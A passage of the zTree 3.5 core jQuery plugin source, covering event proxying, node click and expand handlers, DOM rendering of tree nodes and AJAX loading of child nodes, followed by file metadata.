[sNodes]; } } }, //method of event proxy event = { bindEvent: function(setting) { for (var i=0, j=_init.bind.length; i<j; i++) { _init.bind[i].apply(this, arguments); } }, unbindEvent: function(setting) { for (var i=0, j=_init.unbind.length; i<j; i++) { _init.unbind[i].apply(this, arguments); } }, bindTree: function(setting) { var eventParam = { treeId: setting.treeId }, o = setting.treeObj; // for can't select text o.bind('selectstart', function(e){ var n = e.originalEvent.srcElement.nodeName.toLowerCase(); return (n === "input" || n === "textarea" ); }).css({ "-moz-user-select":"-moz-none" }); o.bind('click', eventParam, event.proxy); o.bind('dblclick', eventParam, event.proxy); o.bind('mouseover', eventParam, event.proxy); o.bind('mouseout', eventParam, event.proxy); o.bind('mousedown', eventParam, event.proxy); o.bind('mouseup', eventParam, event.proxy); o.bind('contextmenu', eventParam, event.proxy); }, unbindTree: function(setting) { var o = setting.treeObj; o.unbind('click', event.proxy) .unbind('dblclick', event.proxy) .unbind('mouseover', event.proxy) .unbind('mouseout', event.proxy) .unbind('mousedown', event.proxy) .unbind('mouseup', event.proxy) .unbind('contextmenu', event.proxy); }, doProxy: function(e) { var results = []; for (var i=0, j=_init.proxys.length; i<j; i++) { var proxyResult = _init.proxys[i].apply(this, arguments); results.push(proxyResult); if (proxyResult.stop) { break; } } return results; }, proxy: function(e) { var setting = data.getSetting(e.data.treeId); if (!tools.uCanDo(setting, e)) return true; var results = event.doProxy(e), r = true, x = false; for (var i=0, l=results.length; i<l; i++) { var proxyResult = results[i]; if (proxyResult.nodeEventCallback) { x = true; r = proxyResult.nodeEventCallback.apply(proxyResult, [e, proxyResult.node]) && r; } if (proxyResult.treeEventCallback) { x = true; r = proxyResult.treeEventCallback.apply(proxyResult, [e, proxyResult.node]) && r; } } return r; } }, //method of event handler handler = { onSwitchNode: function (event, node) { var setting = data.getSetting(event.data.treeId); if (node.open) { if (tools.apply(setting.callback.beforeCollapse, [setting.treeId, node], true) == false) return true; data.getRoot(setting).expandTriggerFlag = true; view.switchNode(setting, node); } else { if (tools.apply(setting.callback.beforeExpand, [setting.treeId, node], true) == false) return true; data.getRoot(setting).expandTriggerFlag = true; view.switchNode(setting, node); } return true; }, onClickNode: function (event, node) { var setting = data.getSetting(event.data.treeId), clickFlag = ( (setting.view.autoCancelSelected && event.ctrlKey) && data.isSelectedNode(setting, node)) ? 0 : (setting.view.autoCancelSelected && event.ctrlKey && setting.view.selectedMulti) ? 2 : 1; if (tools.apply(setting.callback.beforeClick, [setting.treeId, node, clickFlag], true) == false) return true; if (clickFlag === 0) { view.cancelPreSelectedNode(setting, node); } else { view.selectNode(setting, node, clickFlag === 2); } setting.treeObj.trigger(consts.event.CLICK, [event, setting.treeId, node, clickFlag]); return true; }, onZTreeMousedown: function(event, node) { var setting = data.getSetting(event.data.treeId); if (tools.apply(setting.callback.beforeMouseDown, [setting.treeId, node], true)) { tools.apply(setting.callback.onMouseDown, [event, setting.treeId, node]); } return true; }, onZTreeMouseup: function(event, node) { var setting = data.getSetting(event.data.treeId); if (tools.apply(setting.callback.beforeMouseUp, [setting.treeId, node], true)) { tools.apply(setting.callback.onMouseUp, [event, setting.treeId, node]); } return true; }, onZTreeDblclick: function(event, node) { var setting = data.getSetting(event.data.treeId); if (tools.apply(setting.callback.beforeDblClick, [setting.treeId, node], true)) { tools.apply(setting.callback.onDblClick, [event, setting.treeId, node]); } return true; }, onZTreeContextmenu: function(event, node) { var setting = data.getSetting(event.data.treeId); if (tools.apply(setting.callback.beforeRightClick, [setting.treeId, node], true)) { tools.apply(setting.callback.onRightClick, [event, setting.treeId, node]); } return (typeof setting.callback.onRightClick) != "function"; } }, //method of tools for zTree tools = { apply: function(fun, param, defaultValue) { if ((typeof fun) == "function") { return fun.apply(zt, param?param:[]); } return defaultValue; }, canAsync: function(setting, node) { var childKey = setting.data.key.children; return (setting.async.enable && node && node.isParent && !(node.zAsync || (node[childKey] && node[childKey].length > 0))); }, clone: function (obj){ if (obj === null) return null; var o = obj.constructor === Array ? [] : {}; for(var i in obj){ o[i] = (obj[i] instanceof Date) ? new Date(obj[i].getTime()) : (typeof obj[i] === "object" ? arguments.callee(obj[i]) : obj[i]); } return o; }, eqs: function(str1, str2) { return str1.toLowerCase() === str2.toLowerCase(); }, isArray: function(arr) { return Object.prototype.toString.apply(arr) === "[object Array]"; }, getMDom: function (setting, curDom, targetExpr) { if (!curDom) return null; while (curDom && curDom.id !== setting.treeId) { for (var i=0, l=targetExpr.length; curDom.tagName && i<l; i++) { if (tools.eqs(curDom.tagName, targetExpr[i].tagName) && curDom.getAttribute(targetExpr[i].attrName) !== null) { return curDom; } } curDom = curDom.parentNode; } return null; }, uCanDo: function(setting, e) { return true; } }, //method of operate ztree dom view = { addNodes: function(setting, parentNode, newNodes, isSilent) { if (setting.data.keep.leaf && parentNode && !parentNode.isParent) { return; } if (!tools.isArray(newNodes)) { newNodes = [newNodes]; } if (setting.data.simpleData.enable) { newNodes = data.transformTozTreeFormat(setting, newNodes); } if (parentNode) { var target_switchObj = $("#" + parentNode.tId + consts.id.SWITCH), target_icoObj = $("#" + parentNode.tId + consts.id.ICON), target_ulObj = $("#" + parentNode.tId + consts.id.UL); if (!parentNode.open) { view.replaceSwitchClass(parentNode, target_switchObj, consts.folder.CLOSE); view.replaceIcoClass(parentNode, target_icoObj, consts.folder.CLOSE); parentNode.open = false; target_ulObj.css({ "display": "none" }); } data.addNodesData(setting, parentNode, newNodes); view.createNodes(setting, parentNode.level + 1, newNodes, parentNode); if (!isSilent) { view.expandCollapseParentNode(setting, parentNode, true); } } else { data.addNodesData(setting, data.getRoot(setting), newNodes); view.createNodes(setting, 0, newNodes, null); } }, appendNodes: function(setting, level, nodes, parentNode, initFlag, openFlag) { if (!nodes) return []; var html = [], childKey = setting.data.key.children; for (var i = 0, l = nodes.length; i < l; i++) { var node = nodes[i]; if (initFlag) { var tmpPNode = (parentNode) ? parentNode: data.getRoot(setting), tmpPChild = tmpPNode[childKey], isFirstNode = ((tmpPChild.length == nodes.length) && (i == 0)), isLastNode = (i == (nodes.length - 1)); data.initNode(setting, level, node, parentNode, isFirstNode, isLastNode, openFlag); data.addNodeCache(setting, node); } var childHtml = []; if (node[childKey] && node[childKey].length > 0) { //make child html first, because checkType childHtml = view.appendNodes(setting, level + 1, node[childKey], node, initFlag, openFlag && node.open); } if (openFlag) { view.makeDOMNodeMainBefore(html, setting, node); view.makeDOMNodeLine(html, setting, node); data.getBeforeA(setting, node, html); view.makeDOMNodeNameBefore(html, setting, node); data.getInnerBeforeA(setting, node, html); view.makeDOMNodeIcon(html, setting, node); data.getInnerAfterA(setting, node, html); view.makeDOMNodeNameAfter(html, setting, node); data.getAfterA(setting, node, html); if (node.isParent && node.open) { view.makeUlHtml(setting, node, html, childHtml.join('')); } view.makeDOMNodeMainAfter(html, setting, node); data.addCreatedNode(setting, node); } } return html; }, appendParentULDom: function(setting, node) { var html = [], nObj = $("#" + node.tId), ulObj = $("#" + node.tId + consts.id.UL), childKey = setting.data.key.children, childHtml = view.appendNodes(setting, node.level+1, node[childKey], node, false, true); view.makeUlHtml(setting, node, html, childHtml.join('')); if (!nObj.get(0) && !!node.parentTId) { view.appendParentULDom(setting, node.getParentNode()); nObj = $("#" + node.tId); } if (ulObj.get(0)) { ulObj.remove(); } nObj.append(html.join('')); }, asyncNode: function(setting, node, isSilent, callback) { var i, l; if (node && !node.isParent) { tools.apply(callback); return false; } else if (node && node.isAjaxing) { return false; } else if (tools.apply(setting.callback.beforeAsync, [setting.treeId, node], true) == false) { tools.apply(callback); return false; } if (node) { node.isAjaxing = true; var icoObj = $("#" + node.tId + consts.id.ICON); icoObj.attr({"style":"", "class":consts.className.BUTTON + " " + consts.className.ICO_LOADING}); } var tmpParam = {}; for (i = 0, l = setting.async.autoParam.length; node && i < l; i++) { var pKey = setting.async.autoParam[i].split("="), spKey = pKey; if (pKey.length>1) { spKey = pKey[1]; pKey = pKey[0]; } tmpParam[spKey] = node[pKey]; } if (tools.isArray(setting.async.otherParam)) { for (i = 0, l = setting.async.otherParam.length; i < l; i += 2) { tmpParam[setting.async.otherParam[i]] = setting.async.otherParam[i + 1]; } } else { for (var p in setting.async.otherParam) { tmpParam[p] = setting.async.otherParam[p]; } } var _tmpV = data.getRoot(setting)._ver; $.ajax({ contentType: setting.async.contentType, type: setting.async.type, url: tools.apply(setting.async.url, [setting.treeId, node], setting.async.url), data: tmpParam, dataType: setting.async.dataType, success: function(msg) { if (_tmpV != data.getRoot(setting)._ver) { return; } var newNodes = []; try { if (!msg || msg.length == 0) { newNodes = []; } else if (typeof msg == "string") { newNodes = eval("(" + msg + ")"); } else { newNodes = msg; } } catch(err) { newNodes = msg; } if (node) { node.isAjaxing = null; node.zAsync = true; } view.setNodeLineIcos(setting, node); if (newNodes && newNodes !== "") { newNodes = tools.apply(setting.async.dataFilter, [setting.treeId, node, newNodes], newNodes); view.addNodes(setting, node, !!newNodes ? tools.clone(newNodes) : [], !!isSilent); } else { view.addNodes(setting, node, [], !!isSilent); } setting.treeObj.trigger(consts.event.ASYNC_SUCCESS, [setting.treeId, node, msg]); tools.apply(callback); }, error: function(XMLHttpRequest, textStatus, errorThrown) { if (_tmpV != data.getRoot(setting)._ver) { return; } if (node) node.isAjaxing = null; view.setNodeLineIcos(setting, node); setting.treeObj.trigger(consts.event.ASYNC_ERROR, [setting.treeId, node, XMLHttpRequest, textStatus, errorThrown]); } }); return true; }, cancelPreSelectedNode: function (setting, node) { var list = data.getRoot(setting).curSelectedList; for (var i=0, j=list.length-1; j>=i; j--) { if (!node || node === list[j]) { $("#" + list[j].tId + consts.id.A).removeClass(consts.node.CURSELECTED); if (node) { data.removeSelectedNode(setting, node); break; } } } if (!node) data.getRoot(setting).curSelectedList = []; }, createNodeCallback: function(setting) { if (!!setting.callback.onNodeCreated || !!setting.view.addDiyDom) { var root = data.getRoot(setting); while (root.createdNodes.length>0) { var node = root.createdNodes.shift(); tools.apply(setting.view.addDiyDom, [setting.treeId, node]); if (!!setting.callback.onNodeCreated) { setting.treeObj.trigger(consts.event.NODECREATED, [setting.treeId, node]); } } } }, createNodes: function(setting, level, nodes, parentNode) { if (!nodes || nodes.length == 0) return; var root = data.getRoot(setting), childKey = setting.data.key.children, openFlag = !parentNode || parentNode.open || !!$("#" + parentNode[childKey][0].tId).get(0); root.createdNodes = []; var zTreeHtml = view.appendNodes(setting, level, nodes, parentNode, true, openFlag); if (!parentNode) { setting.treeObj.append(zTreeHtml.join('')); } else { var ulObj = $("#" + parentNode.tId + consts.id.UL); if (ulObj.get(0)) { ulObj.append(zTreeHtml.join('')); } } view.createNodeCallback(setting); }, destroy: function(setting) { if (!setting) return; data.initCache(setting); data.initRoot(setting); event.unbindTree(setting); event.unbindEvent(setting); setting.treeObj.empty(); }, expandCollapseNode: function(setting, node, expandFlag, animateFlag, callback) { var root = data.getRoot(setting), childKey = setting.data.key.children; if (!node) { tools.apply(callback, []); return; } if (root.expandTriggerFlag) { var _callback = callback; callback = function(){ if (_callback) _callback(); if (node.open) { setting.treeObj.trigger(consts.event.EXPAND, [setting.treeId, node]); } else { setting.treeObj.trigger(consts.event.COLLAPSE, [setting.treeId, node]); } }; root.expandTriggerFlag = false; } if (!node.open && node.isParent && ((!$("#" + node.tId + consts.id.UL).get(0)) || (node[childKey] && node[childKey].length>0 && !$("#" + node[childKey][0].tId).get(0)))) { view.appendParentULDom(setting, node); view.createNodeCallback(setting); } if (node.open == expandFlag) { tools.apply(callback, []); return; } var ulObj = $("#" + node.tId + consts.id.UL), switchObj = $("#" + node.tId + consts.id.SWITCH), icoObj = $("#" + node.tId + consts.id.ICON); if (node.isParent) { node.open = !node.open; if (node.iconOpen && node.iconClose) { icoObj.attr("style", view.makeNodeIcoStyle(setting, node)); } if (node.open) { view.replaceSwitchClass(node, switchObj, consts.folder.OPEN); view.replaceIcoClass(node, icoObj, consts.folder.OPEN); if (animateFlag == false || setting.view.expandSpeed == "") { ulObj.show(); tools.apply(callback, []); } else { if (node[childKey] && node[childKey].length > 0) { ulObj.slideDown(setting.view.expandSpeed, callback); } else { ulObj.show(); tools.apply(callback, []); } } } else { view.replaceSwitchClass(node, switchObj, consts.folder.CLOSE); view.replaceIcoClass(node, icoObj, consts.folder.CLOSE); if (animateFlag == false || setting.view.expandSpeed == "" || !(node[childKey] && node[childKey].length > 0)) { ulObj.hide(); tools.apply(callback, []); } else { ulObj.slideUp(setting.view.expandSpeed, callback); } } } else { tools.apply(callback, []); } }, expandCollapseParentNode: function(setting, node, expandFlag, animateFlag, callback) { if (!node) return; if (!node.parentTId) { view.expandCollapseNode(setting, node, expandFlag, animateFlag, callback); return; } else { view.expandCollapseNode(setting, node, expandFlag, animateFlag); } if (node.parentTId) { view.expandCollapseParentNode(setting, node.getParentNode(), expandFlag, animateFlag, callback); } }, expandCollapseSonNode: function(setting, node, expandFlag, animateFlag, callback) { var root = data.getRoot(setting), childKey = setting.data.key.children, treeNodes = (node) ? node[childKey]: root[childKey], selfAnimateSign = (node) ? false : animateFlag, expandTriggerFlag = data.getRoot(setting).expandTriggerFlag; data.getRoot(setting).expandTriggerFlag = false; if (treeNodes) { for (var i = 0, l = treeNodes.length; i < l; i++) { if (treeNodes[i]) view.expandCollapseSonNode(setting, treeNodes[i], expandFlag, selfAnimateSign); } } data.getRoot(setting).expandTriggerFlag = expandTriggerFlag; view.expandCollapseNode(setting, node, expandFlag, animateFlag, callback ); }, makeDOMNodeIcon: function(html, setting, node) { var nameStr = data.getNodeName(setting, node), name = setting.view.nameIsHTML ? nameStr : nameStr.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;'); html.push("<span id='", node.tId, consts.id.ICON, "' title='' treeNode", consts.id.ICON," class='", view.makeNodeIcoClass(setting, node), "' style='", view.makeNodeIcoStyle(setting, node), "'></span><span id='", node.tId, consts.id.SPAN, "'>",name,"</span>"); }, makeDOMNodeLine: function(html, setting, node) { html.push("<span id='", node.tId, consts.id.SWITCH, "' title='' class='", view.makeNodeLineClass(setting, node), "' treeNode", consts.id.SWITCH,"></span>"); }, makeDOMNodeMainAfter: function(html, setting, node) { html.push("</li>"); }, makeDOMNodeMainBefore: function(html, setting, node) { html.push("<li id='", node.tId, "' class='", consts.className.LEVEL, node.level,"' tabindex='0' hidefocus='true' treenode>"); }, makeDOMNodeNameAfter: function(html, setting, node) { html.push("</a>"); }, makeDOMNodeNameBefore: function(html, setting, node) { var title = data.getNodeTitle(setting, node), url = view.makeNodeUrl(setting, node), fontcss = view.makeNodeFontCss(setting, node), fontStyle = []; for (var f in fontcss) { fontStyle.push(f, ":", fontcss[f], ";"); } html.push("<a id='", node.tId, consts.id.A, "' class='", consts.className.LEVEL, node.level,"' treeNode", consts.id.A," onclick=\"", (node.click || ''), "\" ", ((url != null && url.length > 0) ? "href='" + url + "'" : ""), " target='",view.makeNodeTarget(node),"' style='", fontStyle.join(''), "'"); if (tools.apply(setting.view.showTitle, [setting.treeId, node], setting.view.showTitle) && title) {html.push("title='", title.replace(/'/g,"&#39;").replace(/</g,'&lt;').replace(/>/g,'&gt;'),"'");} html.push(">"); }, makeNodeFontCss: function(setting, node) { var fontCss = tools.apply(setting.view.fontCss, [setting.treeId, node], setting.view.fontCss); return (fontCss && ((typeof fontCss) != "function")) ? fontCss : {}; }, makeNodeIcoClass: function(setting, node) { var icoCss = ["ico"]; if (!node.isAjaxing) { icoCss[0] = (node.iconSkin ? node.iconSkin + "_" : "") + icoCss[0]; if (node.isParent) { icoCss.push(node.open ? consts.folder.OPEN : consts.folder.CLOSE); } else { icoCss.push(consts.folder.DOCU); } } return consts.className.BUTTON + " " + icoCss.join('_'); }, makeNodeIcoStyle: function(setting, node) { var icoStyle = []; if (!node.isAjaxing) { var icon = (node.isParent && node.iconOpen && node.iconClose) ? (node.open ? node.iconOpen : node.iconClose) : node.icon; if (icon) icoStyle.push("background:url(", icon, ") 0 0 no-repeat;"); if (setting.view.showIcon == false || !tools.apply(setting.view.showIcon, [setting.treeId, node], true)) { icoStyle.push("width:0px;height:0px;"); } } return icoStyle.join(''); }, makeNodeLineClass: function(setting, node) { var lineClass = []; if (setting.view.showLine) { if (node.level == 0 && node.isFirstNode && node.isLastNode) { lineClass.push(consts.line.ROOT); } else if (node.level == 0 && node.isFirstNode) { lineClass.push(consts.line.ROOTS); } else if (node.isLastNode) { lineClass.push(consts.line.BOTTOM); } else { lineClass.push(consts.line.CENTER); } } else { lineClass.push(consts.line.NOLINE); } if (node.isParent) { lineClass.push(node.open ? consts.folder.OPEN : consts.folder.CLOSE); } else { lineClass.push(consts.folder.DOCU); } return view.makeNodeLineClassEx(node) + lineClass.join('_'); }, makeNodeLineClassEx: function(node) { return consts.className.BUTTON + " " + consts.className.LEVEL + node.level + " " + consts.className.SWITCH + " "; }, makeNodeTarget: function(node) { return (node.target || "_blank"); }, makeNodeUrl: function(setting, node) { var urlKey = setting.data.key.url; return node[urlKey] ? node[urlKey] : null; }, makeUlHtml: function(setting, node, html, content) { html.push("<ul id='", node.tId, consts.id.UL, "' class='", consts.className.LEVEL, node.level, " ", view.makeUlLineClass(setting, node), "' style='display:", (node.open ? "block": "none"),"'>"); html.push(content); html.push("</ul>"); }, makeUlLineClass: function(setting, node) { return ((setting.view.showLine && !node.isLastNode) ? consts.line.LINE : ""); }, removeChildNodes: function(setting, node) { if (!node) return; var childKey = setting.data.key.children, nodes = node[childKey]; if (!nodes) return; for (var i = 0, l = nodes.length; i < l; i++) { data.removeNodeCache(setting, nodes[i]); } data.removeSelectedNode(setting); delete node[childKey]; if (!setting.data.keep.parent) { node.isParent = false; node.open = false; var tmp_switchObj = $("#" + node.tId + consts.id.SWITCH), tmp_icoObj = $("#" + node.tId + consts.id.ICON); view.replaceSwitchClass(node, tmp_switchObj, consts.folder.DOCU); view.replaceIcoClass(node, tmp_icoObj, consts.folder.DOCU); $("#" + node.tId + consts.id.UL).remove(); } else { $("#" + node.tId + consts.id.UL).empty(); } }, setFirstNode: function(setting, parentNode) { var childKey = setting.data.key.children, childLength = parentNode[childKey].length; if ( childLength > 0) { parentNode[childKey][0].isFirstNode = true; } }, setLastNode: function(setting, parentNode) { var childKey = setting.data.key.children, childLength = parentNode[childKey].length; if ( childLength > 0) { parentNode[childKey][childLength - 1].isLastNode = true; } }, removeNode: function(setting, node) { var root = data.getRoot(setting), childKey = setting.data.key.children, parentNode = (node.parentTId) ? node.getParentNode() : root; node.isFirstNode = false; node.isLastNode = false; node.getPreNode = function() {return null;}; node.getNextNode = function() {return null;}; if (!data.getNodeCache(setting, node.tId)) { return; } $("#" + node.tId).remove(); data.removeNodeCache(setting, node); data.removeSelectedNode(setting, node); for (var i = 0, l = parentNode[childKey].length; i < l; i++) { if (parentNode[childKey][i].tId == node.tId) { parentNode[childKey].splice(i, 1); break; } } view.setFirstNode(setting, parentNode); view.setLastNode(setting, parentNode); var tmp_ulObj,tmp_switchObj,tmp_icoObj, childLength = parentNode[childKey].length; //repair nodes old parent if (!setting.data.keep.parent && childLength == 0) { //old parentNode has no child nodes parentNode.isParent = false; parentNode.open = false; tmp_ulObj = $("#" + parentNode.tId + consts.id.UL); tmp_switchObj = $("#" + parentNode.tId + consts.id.SWITCH); tmp_icoObj = $("#" + parentNode.tId + consts.id.ICON); view.replaceSwitchClass(parentNode, tmp_switchObj, consts.folder.DOCU); view.replaceIcoClass(parentNode, tmp_icoObj, consts.folder.DOCU); tmp_ulObj.css("display", "none"); } else if (setting.view.showLine && childLength > 0) { //old parentNode has child nodes var newLast = parentNode[childKey][childLength - 1]; tmp_ulObj = $("#" + newLast.tId + consts.id.UL); tmp_switchObj = $("#" + newLast.tId + consts.id.SWITCH); tmp_icoObj = $("#" + newLast.tId + consts.id.ICON); if (parentNode == root) { if (parentNode[childKey].length == 1) { //node was root, and ztree has only one root after move node view.replaceSwitchClass(newLast, tmp_switchObj, consts.line.ROOT); } else { var tmp_first_switchObj = $("#" + parentNode[childKey][0].tId + consts.id.SWITCH); view.replaceSwitchClass(parentNode[childKey][0], tmp_first_switchObj, consts.line.ROOTS); view.replaceSwitchClass(newLast, tmp_switchObj, consts.line.BOTTOM); } } else { view.replaceSwitchClass(newLast, tmp_switchObj, consts.line.BOTTOM); } tmp_ulObj.removeClass(consts.line.LINE); } }, replaceIcoClass: function(node, obj, newName) { if (!obj || node.isAjaxing) return; var tmpName = obj.attr("class"); if (tmpName == undefined) return; var tmpList = tmpName.split("_"); switch (newName) { case consts.folder.OPEN: case consts.folder.CLOSE: case consts.folder.DOCU: tmpList[tmpList.length-1] = newName; break; } obj.attr("class", tmpList.join("_")); }, replaceSwitchClass: function(node, obj, newName) { if (!obj) return; var tmpName = obj.attr("class"); if (tmpName == undefined) return; var tmpList = tmpName.split("_"); switch (newName) { case consts.line.ROOT: case consts.line.ROOTS: case consts.line.CENTER: case consts.line.BOTTOM: case consts.line.NOLINE: tmpList[0] = view.makeNodeLineClassEx(node) + newName; break; case consts.folder.OPEN: case consts.folder.CLOSE: case consts.folder.DOCU: tmpList[1] = newName; break; } obj.attr("class", tmpList.join("_")); if (newName !== consts.folder.DOCU) { obj.removeAttr("disabled"); } else { obj.attr("disabled", "disabled"); } }, selectNode: function(setting, node, addFlag) { if (!addFlag) { view.cancelPreSelectedNode(setting); } $("#" + node.tId + consts.id.A).addClass(consts.node.CURSELECTED); data.addSelectedNode(setting, node); }, setNodeFontCss: function(setting, treeNode) { var aObj = $("#" + treeNode.tId + consts.id.A), fontCss = view.makeNodeFontCss(setting, treeNode); if (fontCss) { aObj.css(fontCss); } }, setNodeLineIcos: function(setting, node) { if (!node) return; var switchObj = $("#" + node.tId + consts.id.SWITCH), ulObj = $("#" + node.tId + consts.id.UL), icoObj = $("#" + node.tId + consts.id.ICON), ulLine = view.makeUlLineClass(setting, node); if (ulLine.length==0) { ulObj.removeClass(consts.line.LINE); } else { ulObj.addClass(ulLine); } switchObj.attr("class", view.makeNodeLineClass(setting, node)); if (node.isParent) { switchObj.removeAttr("disabled"); } else { switchObj.attr("disabled", "disabled"); } icoObj.removeAttr("style"); icoObj.attr("style", view.makeNodeIcoStyle(setting, node)); icoObj.attr("class", view.makeNodeIcoClass(setting, node)); }, setNodeName: function(setting, node) { var title = data.getNodeTitle(setting, node), nObj = $("#" + node.tId + consts.id.SPAN); nObj.empty(); if (setting.view.nameIsHTML) { nObj.html(data.getNodeName(setting, node)); } else { nObj.text(data.getNodeName(setting, node)); } if (tools.apply(setting.view.showTitle, [setting.treeId, node], setting.view.showTitle)) { var aObj = $("#" + node.tId + consts.id.A); aObj.attr("title", !title ? "" : title); } }, setNodeTarget: function(node) { var aObj = $("#" + node.tId + consts.id.A); aObj.attr("target", view.makeNodeTarget(node)); }, setNodeUrl: function(setting, node) { var aObj = $("#" + node.tId + consts.id.A), url = view.makeNodeUrl(setting, node); if (url == null || url.length == 0) { aObj.removeAttr("href"); } else { aObj.attr("href", url); } }, switchNode: function(setting, node) { if (node.open || !tools.canAsync(setting, node)) { view.expandCollapseNode(setting, node, !node.open); } else if (setting.async.enable) { if (!view.asyncNode(setting, node)) { view.expandCollapseNode(setting, node, !node.open); return; } } else if (node) { view.expandCollapseNode(setting, node, !node.open); } } }; // zTree defind $.fn.zTree = { consts : _consts, _z : { tools: tools, view: view, event: event, data: data }, getZTreeObj: function(treeId) { var o = data.getZTreeTools(treeId); return o ? o : null; }, destroy: function(treeId) { if (!!treeId && treeId.length > 0) { view.destroy(data.getSetting(treeId)); } else { for(var s in settings) { view.destroy(settings[s]); } } }, init: function(obj, zSetting, zNodes) { var setting = tools.clone(_setting); $.extend(true, setting, zSetting); setting.treeId = obj.attr("id"); setting.treeObj = obj; setting.treeObj.empty(); settings[setting.treeId] = setting; //For some older browser,(e.g., ie6) if(typeof document.body.style.maxHeight === "undefined") { setting.view.expandSpeed = ""; } data.initRoot(setting); var root = data.getRoot(setting), childKey = setting.data.key.children; zNodes = zNodes ? tools.clone(tools.isArray(zNodes)? zNodes : [zNodes]) : []; if (setting.data.simpleData.enable) { root[childKey] = data.transformTozTreeFormat(setting, zNodes); } else { root[childKey] = zNodes; } data.initCache(setting); event.unbindTree(setting); event.bindTree(setting); event.unbindEvent(setting); event.bindEvent(setting); var zTreeTools = { setting : setting, addNodes : function(parentNode, newNodes, isSilent) { if (!newNodes) return null; if (!parentNode) parentNode = null; if (parentNode && !parentNode.isParent && setting.data.keep.leaf) return null; var xNewNodes = tools.clone(tools.isArray(newNodes)? newNodes: [newNodes]); function addCallback() { view.addNodes(setting, parentNode, xNewNodes, (isSilent==true)); } if (tools.canAsync(setting, parentNode)) { view.asyncNode(setting, parentNode, isSilent, addCallback); } else { addCallback(); } return xNewNodes; }, cancelSelectedNode : function(node) { view.cancelPreSelectedNode(this.setting, node); }, destroy : function() { view.destroy(this.setting); }, expandAll : function(expandFlag) { expandFlag = !!expandFlag; view.expandCollapseSonNode(this.setting, null, expandFlag, true); return expandFlag; }, expandNode : function(node, expandFlag, sonSign, focus, callbackFlag) { if (!node || !node.isParent) return null; if (expandFlag !== true && expandFlag !== false) { expandFlag = !node.open; } callbackFlag = !!callbackFlag; if (callbackFlag && expandFlag && (tools.apply(setting.callback.beforeExpand, [setting.treeId, node], true) == false)) { return null; } else if (callbackFlag && !expandFlag && (tools.apply(setting.callback.beforeCollapse, [setting.treeId, node], true) == false)) { return null; } if (expandFlag && node.parentTId) { view.expandCollapseParentNode(this.setting, node.getParentNode(), expandFlag, false); } if (expandFlag === node.open && !sonSign) { return null; } data.getRoot(setting).expandTriggerFlag = callbackFlag; if (sonSign) { view.expandCollapseSonNode(this.setting, node, expandFlag, true, function() { if (focus !== false) {try{$("#" + node.tId).focus().blur();}catch(e){}} }); } else { node.open = !expandFlag; view.switchNode(this.setting, node); if (focus !== false) {try{$("#" + node.tId).focus().blur();}catch(e){}} } return expandFlag; }, getNodes : function() { return data.getNodes(this.setting); }, getNodeByParam : function(key, value, parentNode) { if (!key) return null; return data.getNodeByParam(this.setting, parentNode?parentNode[this.setting.data.key.children]:data.getNodes(this.setting), key, value); }, getNodeByTId : function(tId) { return data.getNodeCache(this.setting, tId); }, getNodesByParam : function(key, value, parentNode) { if (!key) return null; return data.getNodesByParam(this.setting, parentNode?parentNode[this.setting.data.key.children]:data.getNodes(this.setting), key, value); }, getNodesByParamFuzzy : function(key, value, parentNode) { if (!key) return null; return data.getNodesByParamFuzzy(this.setting, parentNode?parentNode[this.setting.data.key.children]:data.getNodes(this.setting), key, value); }, getNodesByFilter: function(filter, isSingle, parentNode, invokeParam) { isSingle = !!isSingle; if (!filter || (typeof filter != "function")) return (isSingle ? null : []); return data.getNodesByFilter(this.setting, parentNode?parentNode[this.setting.data.key.children]:data.getNodes(this.setting), filter, isSingle, invokeParam); }, getNodeIndex : function(node) { if (!node) return null; var childKey = setting.data.key.children, parentNode = (node.parentTId) ? node.getParentNode() : data.getRoot(this.setting); for (var i=0, l = parentNode[childKey].length; i < l; i++) { if (parentNode[childKey][i] == node) return i; } return -1; }, getSelectedNodes : function() { var r = [], list = data.getRoot(this.setting).curSelectedList; for (var i=0, l=list.length; i<l; i++) { r.push(list[i]); } return r; }, isSelectedNode : function(node) { return data.isSelectedNode(this.setting, node); }, reAsyncChildNodes : function(parentNode, reloadType, isSilent) { if (!this.setting.async.enable) return; var isRoot = !parentNode; if (isRoot) { parentNode = data.getRoot(this.setting); } if (reloadType=="refresh") { var childKey = this.setting.data.key.children; for (var i = 0, l = parentNode[childKey] ? parentNode[childKey].length : 0; i < l; i++) { data.removeNodeCache(setting, parentNode[childKey][i]); } data.removeSelectedNode(setting); parentNode[childKey] = []; if (isRoot) { this.setting.treeObj.empty(); } else { var ulObj = $("#" + parentNode.tId + consts.id.UL); ulObj.empty(); } } view.asyncNode(this.setting, isRoot? null:parentNode, !!isSilent); }, refresh : function() { this.setting.treeObj.empty(); var root = data.getRoot(this.setting), nodes = root[this.setting.data.key.children] data.initRoot(this.setting); root[this.setting.data.key.children] = nodes data.initCache(this.setting); view.createNodes(this.setting, 0, root[this.setting.data.key.children]); }, removeChildNodes : function(node) { if (!node) return null; var childKey = setting.data.key.children, nodes = node[childKey]; view.removeChildNodes(setting, node); return nodes ? nodes : null; }, removeNode : function(node, callbackFlag) { if (!node) return; callbackFlag = !!callbackFlag; if (callbackFlag && tools.apply(setting.callback.beforeRemove, [setting.treeId, node], true) == false) return; view.removeNode(setting, node); if (callbackFlag) { this.setting.treeObj.trigger(consts.event.REMOVE, [setting.treeId, node]); } }, selectNode : function(node, addFlag) { if (!node) return; if (tools.uCanDo(this.setting)) { addFlag = setting.view.selectedMulti && addFlag; if (node.parentTId) { view.expandCollapseParentNode(this.setting, node.getParentNode(), true, false, function() { try{$("#" + node.tId).focus().blur();}catch(e){} }); } else { try{$("#" + node.tId).focus().blur();}catch(e){} } view.selectNode(this.setting, node, addFlag); } }, transformTozTreeNodes : function(simpleNodes) { return data.transformTozTreeFormat(this.setting, simpleNodes); }, transformToArray : function(nodes) { return data.transformToArrayFormat(this.setting, nodes); }, updateNode : function(node, checkTypeFlag) { if (!node) return; var nObj = $("#" + node.tId); if (nObj.get(0) && tools.uCanDo(this.setting)) { view.setNodeName(this.setting, node); view.setNodeTarget(node); view.setNodeUrl(this.setting, node); view.setNodeLineIcos(this.setting, node); view.setNodeFontCss(this.setting, node); } } } root.treeTools = zTreeTools; data.setZTreeTools(setting, zTreeTools); if (root[childKey] && root[childKey].length > 0) { view.createNodes(setting, 0, root[childKey]); } else if (setting.async.enable && setting.async.url && setting.async.url !== '') { view.asyncNode(setting); } return zTreeTools; } }; var zt = $.fn.zTree, consts = zt.consts; })(jQuery);
55,033
jquery.ztree.core-3.5
js
en
javascript
code
